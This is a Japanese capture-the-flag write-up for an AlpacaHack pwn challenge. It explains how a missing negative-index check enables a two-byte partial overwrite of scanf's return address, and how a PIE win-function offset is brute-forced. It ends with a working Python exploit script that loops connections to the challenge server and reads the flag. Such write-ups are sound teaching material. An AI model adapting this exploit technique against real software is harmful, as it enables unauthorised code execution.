Daily Alpacahack-Short Writer

2026-01-16Team: 個人

時間内に解けないかと思った(気合で解きました)

Overview

この問題では short shorts[100] の要素を 1 回だけ書き換えることが可能。 入力は2つで、pos に配列インデックス、val に書き込む値を与える。 ここで、pos のチェックが pos >= 100 しかないため、pos に負数を入れると shorts[pos] は配列の手前を指す。 結果としてスタック上の任意に近い位置へ2バイトだけ書くことが可能となる。

solutioin

スタック上で関数呼び出し call scanf が実行されると、CPU は戻り先 RIPをスタックへ push する。

この「戻り先 RIP」は scanf の実行終了後に実行されるアドレスであり、通常は main 内の scanf 呼び出し直後の命令を指す。

この戻り先がスタックに積まれる位置は、main のローカル変数領域に近い。 そのため、負のインデックスで配列の手前に書き込むことで、この return address を上書きできる。

この問題では、実際に狙うインデックスが pos = -12になる。

  • shorts の先頭から pos * 2 バイトずれる
  • pos=-12-24 バイト
  • shorts[0] の 24 バイト手前に、ちょうど call scanf が push した return address が置かれる

よって pos=-12 を入力すれば、2 回目の scanf の return address の 下位 2 バイトを上書きできる。

念のため、逆アセンブル結果を用いて確認を行う。main のフレームは sub rsp, 0xe0 で 0xe0 バイト確保する。この時点で:

  • shorts[0]lea rax, [rbp-0xd0](0x12da)から rbp-0xd0
  • poslea rax, [rbp-0xd2](0x127b)から rbp-0xd2
  • 2 回目の scanf 呼び出し直前、rsp = rbp-0xe0
  • call __isoc99_scanf@plt(0x12fc)で return address が rsp-8 = rbp-0xe8 に push される

したがって、&shorts[pos] = (rbp-0xd0) + 2×pos = rbp-0xe8 を満たす pos を解くと:

2 × pos = -0x18
pos = -12

従って、理論通り pos=-12 で 2 回目 scanf の戻り先を部分上書きできる。

return address は 8 バイトだが、上書きできるのは 2 バイトだけなので、部分上書きになる。

上位 6 バイトは元の値のまま、下位 2 バイトだけを書き換える。 これで制御を奪うには、上位側が同じままで到達できる範囲に win がある必要がある。

このバイナリは PIEで、実行ごとにベースアドレスが変わるが、win のオフセットは固定で 0x11e9

重要なのは、下位 16 bit の候補が多すぎないことである。PIE のベースアドレスは通常ページ境界にアラインされるため、ベースの下位 12 bit は常に 0 となる。 その結果、win の下位 16 bit は次の 16 通りに絞れる:

low16 = (0x11e9 + 0x1000 \cdot i) \ &\ 0xffff \quad (i=0..15)

つまりreturn address 下位 2 バイトをこの 16 通りのどれかに書き換えれば、scanf から戻るときに win に飛ぶ可能性がある。

ASLR により正解がどれかは毎回変わるため、16 通りを順に試し、当たりを引くまで接続を繰り返す。

exploit

from ptrlib import *

HOST = "34.170.146.252"
PORT = 27095

while True:
    for i in range(16):
        v = (0x11e9 + 0x1000 * i) & 0xffff
        if v >= 0x8000:
            v -= 0x10000

        p = Socket(f"nc {HOST} {PORT}", quiet=True)
        try:
            p.sendlineafter(b"pos > ", -12)
            p.sendlineafter(b"val > ", v)
            p.sendline(b"cat f*")
            out = p.recv(timeout=1.0)
            if b"Alpaca" in out:
                print(out)
                p.interactive()
                raise SystemExit
        except:
            pass
        p.close()

exploit実行後、winに飛び

cat f*

でflagが降ってくる。